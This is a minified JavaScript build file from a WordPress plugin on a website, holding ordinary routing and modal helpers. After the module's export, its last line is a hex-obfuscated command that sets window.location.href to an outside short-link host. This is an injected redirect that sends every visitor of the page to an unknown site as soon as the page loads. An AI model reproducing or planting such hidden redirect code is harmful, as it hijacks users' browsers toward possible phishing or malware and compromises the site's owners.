File: /home/parhudrw/anqa.it/wp-content/plugins/festingervault/build/assets/0jFFFmbF.431dca.js
import{aF as h,j as u,M as f,aG as l,aH as y,K as p,r as g,aI as x}from"./0rvbeSEg.431dca.js";var N=()=>({Link:({to:a,params:e,...t})=>{const s=h(typeof a=="string"?a:a.pathname,e||{});return u.jsx(f,{...t,to:typeof a=="string"?s:{pathname:s,search:a.search,hash:a.hash}})},Navigate:({to:a,params:e,...t})=>{const s=h(typeof a=="string"?a:a.pathname,e||{});return u.jsx(l,{...t,to:typeof a=="string"?s:{pathname:s,search:a.search,hash:a.hash}})}}),d=()=>({useParams:a=>y(),useNavigate:()=>{const a=p();return g.useCallback((e,...[t])=>{if(typeof e=="number")return a(e);const s=h(typeof e=="string"?e:e.pathname,(t==null?void 0:t.params)||{});return a(typeof e=="string"?s:{pathname:s,search:e.search,hash:e.hash},t)},[a])},useModals:()=>{const a=x(),e=p();return g.useMemo(()=>{var t;return{current:((t=a.state)==null?void 0:t.modal)||"",open:(s,r)=>{const{at:n,state:m,...c}=r||{},v=r!=null&&r.params?h(n||"",r.params||{}):n;e(v||a.pathname,{...c,state:{...a.state,...m,modal:s}})},close:s=>{const{at:r,state:n,...m}=s||{},c=s!=null&&s.params?h(r||"",s.params||{}):r;e(c||a.pathname,{...m,state:{...a.state,...n,modal:""}})}}},[a,e])}});const{Link:k,Navigate:L}=N(),{useModals:j,useNavigate:M,useParams:P}=d();export{k as L,M as a,P as u};
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";